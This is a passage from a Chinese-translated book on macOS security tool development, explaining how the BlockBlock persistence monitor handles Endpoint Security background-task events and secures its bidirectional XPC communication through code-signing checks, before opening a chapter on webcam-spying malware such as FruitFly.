代码首先创建一个包含单一事件的数组,供订阅❶。接着,使用 es_new_client API,它创建了一个新的 Endpoint Security 客户端。因为客户端是 BTMMonitor 类的实例变量,我们在传递给 es_new_client API 时,使用了下划线(_)前缀❷。我们之所以这么做,是因为每当使用 Objective-C 的@property 关键字声明实例变量时,编译器会自动生成一个以下划线开头的实例变量。^(5)通常我们不直接引用实例变量,而是通过对象访问它们;然而,在 Endpoint Security 的 C API(如 es_new_client)中,由于它需要一个指针,因此我们必须进行直接引用。

回想一下,es_new_client API 接受一个处理块,每当订阅的事件发生时就会调用❸。很快,你将看到 BlockBlock 的后台任务管理监控器在这个回调中执行的代码。当然,在 Endpoint Security 能够交付事件之前,我们必须告诉它我们有兴趣订阅,这可以通过 es_subscribe API 来实现❹。

清单 11-6 展示了处理块中的代码。

es_new_client(&_endpointClient, ^(es_client_t* client, const es_message_t* message) {
    File* file = [[File alloc] init:(es_message_t*)message csOption:csNone]; ❶

    if((ES_BTM_ITEM_TYPE_AGENT == message->event.btm_launch_item_add->item->item_type) || ❷
        (ES_BTM_ITEM_TYPE_DAEMON == message->event.btm_launch_item_add->item->item_type)) {
        file.destinationPath =
        convertStringToken(&message->event.btm_launch_item_add->item->item_url);
    }
    es_message_t* messageCopy = NULL;

    if(@available(macOS 11.0, *)) { ❸
        es_retain_message(message);
        messageCopy = (es_message_t*)message;
    } else {
 messageCopy = es_copy_message(message);
    }
    [monitor processEvent:file plugin:btmPlugin message:messageCopy]; ❹
}); 

清单 11-6:后台任务管理事件监控逻辑

首先,代码初始化了一个 BlockBlock 文件对象,并传入接收到的 Endpoint Security 消息❶。然后,对于启动代理和守护进程,它直接将文件的目标路径设置为刚创建的项目的属性列表。我们在 Endpoint Security 消息中的 btm_launch_item_add 结构体的 item_url 成员中找到这个属性列表❷。

最后,代码调用了本章之前提到的 BlockBlock 的 processEvent:plugin:message:方法❹。不过,这里传递给该方法的插件是 BlockBlock 的后台任务管理插件实例,接下来我将讨论这个插件。请注意,我们传递的是 Endpoint Security 消息的保留实例或副本。这是因为 BlockBlock 需要保留该消息以便后续使用(例如,处理用户的异步响应)。需要注意的是,如果运行在较新的 macOS 版本上,代码会调用更现代的 es_retain_message API,若运行在较旧版本上,则会回退到使用 es_copy_message❸。因为消息被明确地保留或复制,所以 BlockBlock 在不再需要时,必须通过调用适当的 es_release_message 或 es_free_message API 来释放它。

像所有其他 BlockBlock 插件一样,背景任务管理插件实现了方法,用于检索持久化项的名称和路径,在用户指示时阻止该项,等等。当然,它用于实现这些功能的逻辑是特定于背景任务管理持久化事件的。让我们来看一下插件的 itemObject: 方法,它返回持久化可执行文件的路径。如 示例 11-7 所示,我们可以从传递的 Endpoint Security 消息中提取此信息,尽管它会根据该项是作为启动项还是登录项持久化有所不同。

-(NSString*)itemObject:(Event*)event {
    NSString* itemObject = nil;

    if((ES_BTM_ITEM_TYPE_AGENT ==
    event.esMessage->event.btm_launch_item_add->item->item_type) || ❶
    (ES_BTM_ITEM_TYPE_DAEMON ==
    event.esMessage->event.btm_launch_item_add->item->item_type)) {
        itemObject =
        convertStringToken(&event.esMessage->event.btm_launch_item_add->executable_path);
    } else {
        NSString* stringToken =
        convertStringToken(&event.esMessage->event.btm_launch_item_add->item->item_url); ❷
        itemObject = [[NSURL URLWithString:stringToken] path];
    }
    return itemObject;
} 

示例 11-7:返回持久化项的路径

代码首先检查持久化项的类型 ❶。方便的是,Endpoint Security 使用常量,如 ES_BTM_ITEM_TYPE_AGENT 和 ES_BTM_ITEM_TYPE_DAEMON,来指示此信息,并在项结构的 item_type 成员中指定项类型。假设持久化项是启动项,代码将从 btm_launch_item_add 结构的 executable_path 成员中提取其可执行路径。为了将其从 es_string_token_t 类型转换为 Objective-C 字符串对象,我们调用 BlockBlock 的 convertStringToken 辅助函数。

对于登录项,我们可以在项结构的 item_url 成员中找到持久化项的路径 ❷。同样,我们调用 convertStringToken 辅助函数。然而,项的路径实际上是一个 URL 对象,因此我们必须将其转换回 URL,然后使用 URL 的 path 属性以字符串形式获取文件路径。

背景任务管理插件中的另一个显著方法是 block:,当用户点击持久化项的警报中的“阻止”时,BlockBlock 会调用该方法。因为在较旧的基于文件监控的插件中,有用于移除启动项和登录项的逻辑,所以背景任务管理插件可以调用相关插件来阻止该项(示例 11-8)。

-(BOOL)block:(Event*)event {
    __block BOOL wasBlocked = NO;

    switch(event.esMessage->event.btm_launch_item_add->item->item_type) {
      ❶ case ES_BTM_ITEM_TYPE_APP:
        case ES_BTM_ITEM_TYPE_LOGIN_ITEM: {
            LoginItem* loginItem = [[LoginItem alloc] init];
            wasBlocked = [loginItem block:event];
            break;
        }
      ❷ case ES_BTM_ITEM_TYPE_AGENT:
        case ES_BTM_ITEM_TYPE_DAEMON: {
            Launchd* launchItem = [[Launchd alloc] init];
            wasBlocked = [launchItem block:event];
            break;
        }
        ...
     }
     return wasBlocked;
} 

示例 11-8:调用登录项和启动项插件的阻止逻辑

为了确定背景任务管理项的类型,代码再次使用 Endpoint Security 背景任务管理消息中找到的 item_type 成员。对于登录项(可以包括持久化的用户应用程序),代码实例化 BlockBlock 的登录项插件,并调用其 block: 方法 ❶。对于启动代理和守护进程,采用类似的方式,实例化启动项插件 ❷。

这部分结束了对 BlockBlock 背景任务管理监视器和插件的讨论。接下来,让我们看看 BlockBlock 广泛使用的 XPC 通信。

XPC

XPC 是 macOS 上事实上的进程间通信(IPC)机制。每当你编写包含多个组件的工具时,例如特权守护进程或系统扩展与在用户桌面会话中运行的代理或应用程序,这些组件通常需要通过 XPC 进行通信。在本节中,我将概述这一主题,包括 XPC API 和具体示例。如果你有兴趣了解更多内容,可以深入研究 BlockBlock 代码,BlockBlock 大量使用双向 XPC。

从某种程度上来说,XPC 符合传统的客户端/服务器模型。一个组件(在我们的案例中是 BlockBlock 守护进程)设置一个 XPC 服务器,或者说是 监听器。一个授权客户端(例如,BlockBlock 的登录项)可以连接到监听器,然后远程调用监听器内实现的特权方法。假设用户响应 BlockBlock 提示,指示该工具阻止一个持久安装的项,然后创建一个规则以自动阻止未来相关的项。通过 XPC,BlockBlock 的登录项可以调用守护进程的特权 阻止创建规则 方法。这些方法在特权守护进程的上下文中运行,以确保它们具有适当的权限,能够删除即便是特权的持久项。它们还可以在特权上下文中创建规则,以帮助防止恶意篡改。

创建监听器和代理

让我们探讨一下 BlockBlock 守护进程如何创建 XPC 监听器,更重要的是,如何确保只有授权的客户端能够连接到它。后者对安全工具至关重要,因为如果我们将 XPC 接口置于未保护状态,恶意软件或其他任何东西都可以连接到它并调用守护进程的特权方法。

BlockBlock 在名为 XPCListener 的接口中实现了 XPC 监听器和连接逻辑,该接口符合 NSXPCListenerDelegate 协议(列表 11-9)。

@interface XPCListener : NSObject <NSXPCListenerDelegate>
    @property(weak)NSXPCConnection* client;
    @property(nonatomic, retain)NSXPCListener* listener;
    ...
} 

列表 11-9:一个 XPC 监听器类

要创建一个 XPC 接口,你可以使用 NSXPCListener initWithMachServiceName: 初始化方法,该方法以 XPC 服务的名称作为参数。列表 11-10 是来自 BlockBlock 的 XPCListener 类的代码,用于创建其 XPC 监听器。

#define DAEMON_MACH_SERVICE @"com.objective-see.blockblock"

self.listener = [[NSXPCListener alloc] initWithMachServiceName:DAEMON_MACH_SERVICE]; 

列表 11-10:初始化 XPC 监听器

请注意,Apple 在更古老的 Mach 消息传递框架之上构建了 XPC。这也解释了为什么你会遇到诸如 initWithMachServiceName: 之类的方法名。

一旦你创建了一个监听器,你应该指定 代理,它包含相关的 XPC 代理方法。如果实现了这些方法,XPC 系统框架会自动调用它们。一旦被调用,代理方法可以执行重要任务,例如验证任何客户端。

由于 BlockBlock 的 XPCListener 类符合 NSXPCListenerDelegate 协议,因此它只需将监听器的委托设置为自己。然后,它调用监听器的恢复方法以开始处理客户端连接(见列表 11-11)。

self.listener.delegate = self;
[self.listener resume]; 

列表 11-11:设置委托并恢复监听器

现在,像 BlockBlock 的登录项这样的客户端可以发起连接到监听器。但在我们详细说明客户端如何执行此操作之前,我们必须确保只有授权的客户端才能连接。

提取审计令牌

如果您允许任何客户端连接到您的特权 XPC 接口,未经信任的代码可能会执行监听器的特权方法。这个问题困扰着核心 macOS XPC 监听器以及许多第三方工具。具体例子请参见我 2015 年在 DEF CON 上的演讲,其中详细介绍了利用未保护和特权的 macOS writeConfig XPC 接口来提升权限至 root 的过程。^(6)

注意

从 macOS 13 版本开始,简化了授权流程,我将在“设置客户端要求”中介绍这些步骤,具体请参见第 270 页。在这一节中,我将介绍授权方法,使您的工具与较早版本的操作系统兼容。

要授权客户端,我们可以使用 NSXPCListenerDelegate 协议中的 listener: shouldAcceptNewConnection: 方法。^(7) 如果委托实现了此方法,XPC 子系统将在每次客户端尝试连接时自动调用它。该方法应检查候选客户端,并返回一个布尔值,指示是否接受该客户端。

对于授权客户端,此方法还应该配置连接;稍后我将讨论如何操作。最后,由于所有连接在授权和配置过程中都会以挂起状态启动,因此此方法应调用传入的 NSXPCConnection 对象的恢复方法,以便授权客户端开始处理任何接收到的消息,并能够发送自己的消息(见列表 11-12)。

-(BOOL)listener(NSXPCListener*)listener shouldAcceptNewConnection:
(NSXPCConnection*)newConnection {
    BOOL shouldAccept = NO;

    // Code to authorize the client, and ignore unauthorized ones, removed for brevity

    [newConnection resume];
    shouldAccept = YES;

bail:
    return shouldAccept;
} 

列表 11-12:恢复连接

尽管我们可以通过多种方式尝试验证客户端,但许多方法存在缺陷或不完整。例如,使用候选客户端的进程 ID 是危险的,因为攻击者可以利用系统重用进程 ID 的事实,迫使监听器允许未经授权的客户端。

一种更好的方法是检查客户端的审计令牌并检索其代码签名信息。不幸的是,在旧版本的 macOS 中,Apple 并没有轻易公开客户端的审计令牌,这意味着我们必须使用一些 Objective-C 技巧。listener:shouldAcceptNewConnection: 方法的第二个参数是指向 NSXPCConnection 对象的指针,该对象包含关于尝试连接到 XPC 服务的客户端的信息。虽然它确实包含了在其 auditToken 属性中的审计令牌,但该属性是私有的,这意味着我们不能直接访问它。幸运的是,Objective-C 是自省的,因此我们可以通过类扩展来访问私有属性。在 示例 11-13 中,BlockBlock 创建了对 NSXPCConnection 类的扩展。

@interface ExtendedNSXPCConnection : NSXPCConnection {
    audit_token_t auditToken;
}
    @property audit_token_t auditToken;
@end 

示例 11-13:扩展 NSXPCConnection 类以访问其私有审计令牌

请注意,扩展定义了一个属性:在 NSXPCConnection 类中找到的私有审计令牌。一旦我们声明了这个扩展,就可以访问连接客户端的私有审计令牌,如 示例 11-14 所示。

-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:(NSXPCConnection*)
newConnection {
    ...
    audit_token_t auditToken = ((ExtendedNSXPCConnection*)newConnection).auditToken;
    ...
} 

示例 11-14:访问连接客户端的审计令牌

这段代码将表示连接客户端的 NSXPCConnection 对象强制转换为 ExtendedNSXPCConnection 对象。然后,它可以轻松地提取客户端的审计令牌成员。拿到审计令牌后,代码可以验证客户端的代码签名信息,然后安全地验证客户端的身份,如果客户端已授权,则批准连接。

提取代码签名详情

为了验证客户端的代码签名信息,BlockBlock 对 listener:shouldAcceptNewConnection: 委托方法的实现采取了以下步骤。首先,它使用提取的审计令牌来获取客户端进程的动态代码签名引用。然后,它使用这个引用验证客户端的代码签名信息是否有效,并提取相关信息。此外,它提取客户端的代码签名标志,以确保客户端是使用强化运行时编译的,从而防止运行时注入攻击。最后,它检查验证过的代码签名信息,确保其中包含 BlockBlock 辅助应用程序的捆绑标识符、Objective-See 开发者代码签名证书和支持的客户端版本。示例 11-15 展示了这一要求的实现。

" ❶ anchor apple generic and ❷ identifier \"com.objective-see.blockblock
.helper\" and ❸ certificate leaf [subject.CN] = \"Developer ID Application:
Objective-See, LLC (VBG97UB4TA)\" and ❹ info [CFBundleShortVersionString]
>= \"2.0.0\""; 

示例 11-15:验证连接的 XPC 客户端的代码签名要求

第三章讨论了代码签名要求,但让我们细分一下这个要求。首先,我们要求客户端使用苹果发给开发者的证书进行签名 ❶。接下来,我们要求客户端标识符与 Objective-See 的 BlockBlock 助手标识符相匹配 ❷。我们还要求客户端使用 Objective-See 的代码签名证书进行签名 ❸。最后,我们要求客户端版本为 2.0.0 或更新版本 ❹,因为旧版本的 BlockBlock 助手不支持更新的加固运行时,容易受到颠覆攻击。^(8)

如果所有这些验证和验证步骤都成功,BlockBlock 守护进程就知道,尝试连接其 XPC 接口的客户端确实是 BlockBlock 助手组件的最新版本,并且没有攻击者或恶意软件偷偷篡改这个组件。

示例 11-16 显示了实现完整客户端授权的代码。请注意使用了各种 SecTask* 代码签名 API,这些内容在 第三章 中有介绍。由于必须始终检查这些 API 的返回值,因此这段代码包含了基本的错误处理。

#define HELPER_ID @"com.objective-see.blockblock.helper"
#define SIGNING_AUTH @"Developer ID Application: Objective-See, LLC (VBG97UB4TA)"

-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:(NSXPCConnection*)
newConnection {
    BOOL shouldAccept = NO;
    audit_token_t auditToken = ((ExtendedNSXPCConnection*)newConnection).auditToken;

    OSStatus status = SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)
    (@{(__bridge NSString*)kSecGuestAttributeAudit : [NSData dataWithBytes:&auditToken
    length:sizeof(audit_token_t)]}), kSecCSDefaultFlags, &codeRef);
    if(errSecSuccess != status) {
        goto bail;
    }

    status = SecCodeCheckValidity(codeRef, kSecCSDefaultFlags, NULL);
    if(errSecSuccess != status)  {
        goto bail;
    }

    status = SecCodeCopySigningInformation(codeRef, kSecCSDynamicInformation, &csInfo);
    if(errSecSuccess != status)  {
        goto bail;
    }

    uint32_t csFlags = [((__bridge NSDictionary*)csInfo)[(__bridge NSString*)
    kSecCodeInfoStatus] unsignedIntValue];
    if(!(CS_VALID & csFlags) && !(CS_RUNTIME & csFlags)) {
        goto bail;
    }

    NSString* requirement = [NSString stringWithFormat:@"anchor apple generic and
    identifier \"%@\" and certificate leaf [subject.CN] = \"%@\" and info
    [CFBundleShortVersionString] >= \"2.0.0\"", HELPER_ID, SIGNING_AUTH];

    SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)
    newConnection).auditToken);

    status = SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirement));
    if(errSecSuccess != status) {
        goto bail;
    }

    shouldAccept = YES;

    // Add code here to configure and finalize the NSXPCConnection.

bail:
    return shouldAccept;
} 

示例 11-16:授权 XPC 客户端

你可能会惊讶于保护特权 XPC 接口是多么困难。苹果最终也意识到了这一点,幸运的是,在 macOS 13 中,它提供了两个专门设计的新的 API,用以简化确保只有授权客户端能够连接的过程。如果你的工具只在 macOS 13 或更高版本上运行,你应该使用这些 API,这样你就不必担心访问私有审计令牌或手动提取和验证代码签名信息。下一节将详细介绍这些 API。

设置客户端要求

在 macOS 13 及更高版本中,NSXPCListener 类的 setConnectionCodeSigningRequirement: 方法^(9) 和 NSXPCConnection 类的 setCodeSigningRequirement: 方法^(10) 允许你在监听器或连接对象上设置代码签名要求。第一个选项适用于所有连接,而第二个选项仅适用于特定连接,但你可以使用任一选项防止未经授权的客户端连接到 XPC 接口。

BlockBlock 使用监听器方法,这种方法要求较低的粒度;它拒绝任何不属于 BlockBlock 助手客户端的连接。回想一下,示例 11-10 显示了初始化 XPC 监听器的代码。示例 11-17 基于此基础,添加了在 macOS 13 及更高版本上运行的代码。

#define DAEMON_MACH_SERVICE @"com.objective-see.blockblock"
#define HELPER_ID @"com.objective-see.blockblock.helper"
#define SIGNING_AUTH @"Developer ID Application: Objective-See, LLC (VBG97UB4TA)"

self.listener = [[NSXPCListener alloc] initWithMachServiceName:DAEMON_MACH_SERVICE];

if(@available(macOS 13.0, *)) {
    NSString* requirement = [NSString stringWithFormat:@"anchor apple generic and
    identifier \"%@\" and certificate leaf [subject.CN] = \"%@\" and info
    [CFBundleShortVersionString] >= \"2.0.0\"", HELPER_ID, SIGNING_AUTH]; ❶

    [self.listener setConnectionCodeSigningRequirement:requirement]; ❷
}

self.listener.delegate = self;
[self.listener resume]; 

示例 11-17:在 macOS 13 及更高版本上授权客户端

在分配并初始化一个 NSXPCListener 对象后,我们使用 Objective-C 的 @available 属性,值为 macOS 13.0,*来指示编译器仅在 macOS 13 或更新版本上执行以下代码❶,因为 setConnectionCodeSigningRequirement: 方法在较早版本的 macOS 中不可用。

然后,我们动态初始化一个代码签名要求字符串❷,用于验证任何尝试连接到监听器的客户端。这个要求与之前展示的相同。最后,BlockBlock 调用 setConnectionCodeSigningRequirement: 方法,指示 XPC 运行时只接受符合指定代码签名要求字符串的客户端连接。现在,我们不再需要手动验证客户端;macOS 会为我们处理这一切!

为了确认授权是否有效,请在 macOS 版本 13 或更新版本上编译并执行 BlockBlock,然后尝试通过不合法的客户端连接到其 XPC 接口。连接应该会失败,系统的 XPC 库应该会将以下消息打印到统一日志中:

Default     0x0     56198  0    BlockBlock: (libxpc.dylib) **Bogus check-in attempt. Ignoring**.

现在 BlockBlock 可以授权 XPC 客户端,它可以配置并激活连接。

启用远程连接

XPC 通信通常是单向的;客户端连接到监听器并调用其方法。然而,BlockBlock 实现了双向通信。守护进程实现了大多数 XPC 方法,用于诸如阻止或删除持久项和创建规则等任务,客户端调用这些方法。然而,守护进程也会调用客户端实现的方法,例如显示用户警告。

为了实现这种双向 IPC,我们必须配置 NSXPCConnection 对象。首先,让我们在服务器端配置监听器对象。这涉及到定义客户端可以调用的远程方法,并指定 XPC 接口的服务器端对象来实现这些方法。服务器和客户端必须就客户端可以远程调用哪些方法达成一致。我们可以通过将监听器的 exportedInterface 属性设置为一个描述导出对象协议的 NSXPCInterface 对象来实现这一点。^(11)

在这种情况下,协议只是符合要求的对象将实现的方法列表。^(12) 我们通常在头文件(.h)中声明这些协议,方便在服务器端和客户端代码中引用。Listing 11-18 是 BlockBlock 守护进程的 XPC 协议。

@protocol XPCDaemonProtocol
    -(void)getPreferences:(void (^)(NSDictionary*))reply;
    -(void)updatePreferences:(NSDictionary*)preferences;
    -(void)getRules:(void (^)(NSData*))reply;
    -(void)deleteRule:(Rule*)rule reply:(void (^)(NSData*))reply;
    -(void)alertReply:(NSDictionary*)alert;
@end 

Listing 11-18: XPC 守护进程协议

一旦我们声明了这个协议,守护进程可以将 exportedInterface 属性设置为符合 XPCDaemonProtocol 协议的 NSXPCInterface 对象。你可以在监听器的 delegate 方法 listener:shouldAcceptNewConnection: 中找到启用客户端连接的代码(Listing 11-19)。

-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:
(NSXPCConnection*)newConnection {
    // Code to authorize the client, and ignore unauthorized ones, removed for brevity

    newConnection.exportedInterface =
    [NSXPCInterface interfaceWithProtocol:@protocol(XPCDaemonProtocol)];
    ... 

Listing 11-19: 设置 NSXPCConnection 的导出接口

当然,你还必须在服务器端指定实现这些方法的对象(在这种情况下是 BlockBlock 守护进程)。你可以通过设置监听器上的 exportedObject 属性来完成这一点(列表 11-20)。

-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:
(NSXPCConnection*)newConnection {
    // Code to authorize the client, and ignore unauthorized ones, removed for brevity
    ...
    newConnection.exportedObject = [[XPCDaemon alloc] init];
    ... 

列表 11-20:设置实现导出接口的对象

BlockBlock 创建了一个名为 XPCDaemon 的类,用于实现客户端可调用的方法。正如预期的那样,这个类遵循守护进程协议 XPCDaemonProtocol(列表 11-21)。

@interface XPCDaemon : NSObject <**XPCDaemonProtocol**>
@end 

列表 11-21:符合 XPCDaemonProtocol 的接口

接下来,我们将简要了解一些特权 XPC 方法,这些方法可以由在受限权限用户会话中运行的 BlockBlock 辅助组件调用。

暴露方法

BlockBlock 允许用户定义规则以自动允许常见的持久性事件。特权 BlockBlock 守护进程管理这些规则,以防止无特权的恶意软件篡改它们(例如,添加允许规则让恶意软件得以持久化)。为了向用户显示这些规则,BlockBlock 客户端将通过 XPC 调用守护进程的 getRules: 方法(列表 11-22)。

-(void)getRules:(void (^)(NSData*))reply {
    NSData* archivedRules = [NSKeyedArchiver archivedDataWithRootObject:
    rules.rules requiringSecureCoding:YES error:nil];

    reply(archivedRules);
} 

列表 11-22:返回序列化规则

因为 XPC 是异步的,返回数据的方法应该通过块来返回。XPCDaemonProtocol 中声明的 getRules: 方法采用这样的块,调用者可以通过该块调用一个包含规则列表的数据对象。请注意,该方法的实现相当简单;它只是将规则序列化并将其发送回客户端。

一个更复杂的 XPC 方法示例是 alertReply:,客户端通过 XPC 在用户与持久化警报交互后(例如点击“阻止”)调用该方法。该方法接收一个封装警报的字典。用户不期望任何响应,因此该方法不使用任何回调块。列表 11-23 显示了在守护进程中实现的该方法的主要代码。

-(void)alertReply:(NSDictionary*)alert {
    Event* event = nil;
    @synchronized(events.reportedEvents) {
      ❶ event = events.reportedEvents[alert[ALERT_UUID]];
    }

  ❷ event.action = [alert[ALERT_ACTION] unsignedIntValue];
    if(BLOCK_EVENT == event.action) {
      ❸ [event.plugin block:event];
    }
    ...
    if(YES != [alert[ALERT_TEMPORARY] boolValue]) {
      ❹ [rules add:event];
    }
} 

列表 11-23:处理用户对警报的响应

首先,我们使用 UUID ❶ 从警报字典中检索表示持久事件的对象。我们将该对象包装在@synchronized 代码块中,以确保线程同步。接下来,我们从警报 ❷ 中提取用户指定的操作(阻止或允许)。如果用户决定阻止持久事件,BlockBlock 将调用相关插件的 block: 方法。这将执行插件特定的代码以删除持久项 ❸ 并为事件添加规则,前提是用户没有勾选警报中的“临时”复选框 ❹。

我提到过 BlockBlock 守护进程也需要调用辅助程序中实现的方法,例如显示警告给用户。辅助程序连接后,它可以通过相同的 XPC 接口来实现这一点,尽管我们需要指定一个专用的协议。BlockBlock 将这个客户端协议命名为 XPCUserProtocol(示例 11-24)。它包含客户端将实现的方法,守护进程可以通过 XPC 远程调用这些方法。

@protocol XPCUserProtocol
    -(void)alertShow:(NSDictionary*)alert;
    ...
@end 

示例 11-24:XPC 用户协议

回到 listener:shouldAcceptNewConnection:方法中,我们配置了监听器,允许守护进程调用客户端的远程方法(示例 11-25)。

-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:
(NSXPCConnection*)newConnection {
    // Code to authorize the client, and ignore unauthorized ones, removed for brevity
    ...
    newConnection.remoteObjectInterface =
    [NSXPCInterface interfaceWithProtocol:@protocol(XPCUserProtocol)]; 

示例 11-25:设置远程对象接口

我们设置了 remoteObjectInterface 属性,并指定了 XPCUserProtocol 协议。

发起连接

到目前为止,我已经展示了 BlockBlock 守护进程如何设置 XPC 监听器,暴露方法,并确保只有授权的客户端可以连接。然而,我还没有展示客户端如何发起连接,或者它和守护进程如何远程调用 XPC 方法。

一旦 BlockBlock 守护进程运行,它的 XPC 接口就可以接受授权连接。为了连接到守护进程,BlockBlock 助手使用 NSXPCConnection 对象的 initWithMachServiceName:options:方法,指定与守护进程使用相同的名称(示例 11-26)。

#define DAEMON_MACH_SERVICE @"com.objective-see.blockblock"
NSXPCConnection* daemon = [[NSXPCConnection alloc]
initWithMachServiceName:DAEMON_MACH_SERVICE options:0]; 

示例 11-26:初始化与守护进程 XPC 服务的连接

和我们在服务器端做的一样,我们必须为远程对象接口设置协议。因为我们现在处于客户端,本文中所说的“远程对象接口”指的是在守护进程上暴露远程可调用方法的 XPC 对象(示例 11-27)。

#define DAEMON_MACH_SERVICE @"com.objective-see.blockblock"

NSXPCConnection* daemon = [[NSXPCConnection alloc]
initWithMachServiceName:DAEMON_MACH_SERVICE options:0];

daemon.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol: @protocol(XPCDaemonProtocol)]; ❶

daemon.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCUserProtocol)];
daemon.exportedObject = [[XPCUser alloc] init]; ❷

[daemon resume]; ❸ 

示例 11-27:在客户端设置 XPC 连接对象

回想一下,这个对象符合 XPCDaemonProtocol 协议,所以我们在这里指定它❶。此外,由于守护进程需要调用客户端中实现的方法,客户端需要设置自己的导出对象。它通过 exportedInterface 和 exportedObject 方法来实现❷。前者指定协议(XPCUserProtocol),后者指定在客户端中实现导出 XPC 方法的对象(XPCUser)。最后,我们恢复连接❸,这触发了与守护进程的 XPC 监听器的实际连接。

调用远程方法

到此为止,我们已经完成了 XPC 连接的实现。我将通过展示 BlockBlock 如何实际调用远程方法来结束关于 BlockBlock XPC 使用的讨论,重点介绍客户端侧的常见情况。为了抽象与守护进程的通信,BlockBlock 客户端使用一个名为 XPCDaemonClient 的自定义类。建立 XPC 连接的代码位于示例 11-26 中,这个类里也包含了调用远程 XPC 方法的代码。

若要连接到守护进程并调用其远程特权 XPC 方法(例如,获取当前规则),客户端可以执行 清单 11-28 中的代码。

XPCDaemonClient* xpcDaemonClient = [[XPCDaemonClient alloc] init];
NSArray* rules = [[xpcDaemonClient getRules]; 

清单 11-28:调用远程 XPC 方法

让我们仔细看一下 getRules 方法,它调用守护进程远程暴露的相应 getRules: 方法。这个方法很好地展示了如何调用 XPC 方法,并考虑到它们的细微差别。请注意,尽管该方法包含额外的逻辑来反序列化从守护进程接收到的规则,这里我们只关注 XPC 逻辑(清单 11-29)。

-(NSArray*)getRules {
    __block NSDictionary* unarchivedRules = nil;
    ...
    [[self.daemon synchronousRemoteObjectProxyWithErrorHandler:^(NSError* proxyError) { ❶
        // Code to handle any errors removed for brevity ❷
    }] getRules:^(NSData* archivedRules) {
        // Code to process the serialized rules from the daemon removed for brevity ❸
    }];
    ...
    return rules;
} 

清单 11-29:从守护进程获取规则

首先,代码调用 NSXPCConnection 类的同步连接方法 ❶。虽然 XPC 通常是异步的,但我们期望守护进程返回数据,因此在这种情况下使用同步调用最为合适。在其他地方,BlockBlock 使用更常见的异步 remoteObjectProxyWithErrorHandler: 方法。

XPCDaemonClient 类的 init 方法先前建立了连接,并将其保存在名为 daemon 的实例变量中。连接方法返回远程对象,该对象暴露了可以远程调用的 XPC 方法。如果在检索此对象时发生任何错误,代码将调用错误块 ❷。

拿到远程对象后,我们就可以调用它的方法,比如 getRules: 方法。为了返回数据,这个 XPC 调用需要一个回复块;清单 11-22 展示了这个方法的实现,它位于守护进程内。当调用完成时,块会执行,并将一个包含来自守护进程的序列化规则的数据对象作为参数 ❸。

结论

BlockBlock 的方法很简单:检测持久化项目,提醒用户,并允许他们删除不需要的项目。尽管这种设计非常直接,但它已被证明在对抗即使是最复杂的持久化 Mac 恶意软件时也非常有效。

在本章中,您了解了如何向 Apple 请求 Endpoint Security 权限。您还了解了 BlockBlock 的设计、它对 Endpoint Security 事件的使用,以及它的双向 XPC 通信。如果您正在构建自己的安全工具,我鼓励您参考 BlockBlock 使用的系统框架、API 和机制。

下一章将探讨一个旨在启发式检测一些最隐秘的恶意软件样本的工具:那些通过受害者的麦克风和摄像头偷偷监视他们的恶意软件。

备注

  1. 1.  “为 OS X 编写 Bad @$$ Lamware,” reverse.put.as, 2015 年 8 月 7 日,https://reverse.put.as/2015/08/07/writing-bad-lamware-for-os-x/.

  2. 2.  “TN3125:代码签名内幕:配置文件”,苹果开发者文档,https://developer.apple.com/documentation/technotes/tn3125-inside-code-signing-provisioning-profiles

  3. 3.  “使用受限权限签名守护进程”,苹果开发者文档,https://developer.apple.com/documentation/xcode/signing-a-daemon-with-a-restricted-entitlement

  4. 4.  asfdadsfasdfasdfsasdafads,“端点安全事件:ES_EVENT _TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD 是 . . . 损坏了吗?”,苹果开发者论坛,2024 年 11 月 15 日,https://developer.apple.com/forums/thread/720468

  5. 5.  Keith Harrison,“使用 Xcode 4.4 进行自动属性合成”,Use Your Loaf,2012 年 8 月 1 日,https://useyourloaf.com/blog/property-synthesis-with-xcode-4-dot-4/

  6. 6.  Patrick Wardle,“把这个塞进你的(根)管道里吸”,Speaker Deck,2015 年 8 月 9 日,https://speakerdeck.com/patrickwardle/stick-that-in-your-root-pipe-and-smoke-it

  7. 7.  “listener:shouldAcceptNewConnection:”,苹果开发者文档,访问日期:2024 年 5 月 25 日,https://developer.apple.com/documentation/foundation/nsxpclistenerdelegate/1410381-listener?language=objc

  8. 8.  你可以在《CVE-2019-13013 背后的故事》中阅读有关此类颠覆性攻击的内容,Objective Development,2019 年 8 月 26 日,https://blog.obdev.at/what-we-have-learned-from-a-vulnerability,其中详细描述了对一款流行的商业 macOS 防火墙产品的利用。

  9. 9.  “setConnectionCodeSigningRequirement:”,苹果开发者文档,https://developer.apple.com/documentation/foundation/nsxpclistener/3943310-setconnectioncodesigningrequirem?language=objc

    1. “setCodeSigningRequirement:,” 苹果开发者文档,https://developer.apple.com/documentation/foundation/nsxpcconnection/3943309-setcodesigningrequirement?language=objc.
    1. “exportedInterface,” 苹果开发者文档,https://developer.apple.com/documentation/foundation/nsxpcconnection/1408106-exportedinterface.
    1. “与协议一起工作,” 苹果开发者文档,https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/WorkingwithProtocols/WorkingwithProtocols.html.

第十二章:12 麦克风和摄像头监控

在电视剧《黑镜》中的一集感人剧集《闭嘴并跳舞》中,黑客通过恶意软件感染一名年轻少年的电脑,通过摄像头监视他,然后勒索他实施犯罪行为。巧合的是,就在该剧集播出前,我开始逆向工程一个名为 FruitFly 的 Mac 恶意软件,它做的事情与此非常相似。^(1)

这个持久的后门程序具有多种功能,其中之一就是通过利用过时的 QuickTime API 来监视受害者的摄像头。虽然这些 API 会激活摄像头的 LED 指示灯,但恶意软件有一个相当阴险的手段,试图保持不被发现;它会等到受害者处于非活动状态后才触发监视逻辑。结果,受害者很可能没有注意到他们的摄像头已经被悄悄激活。

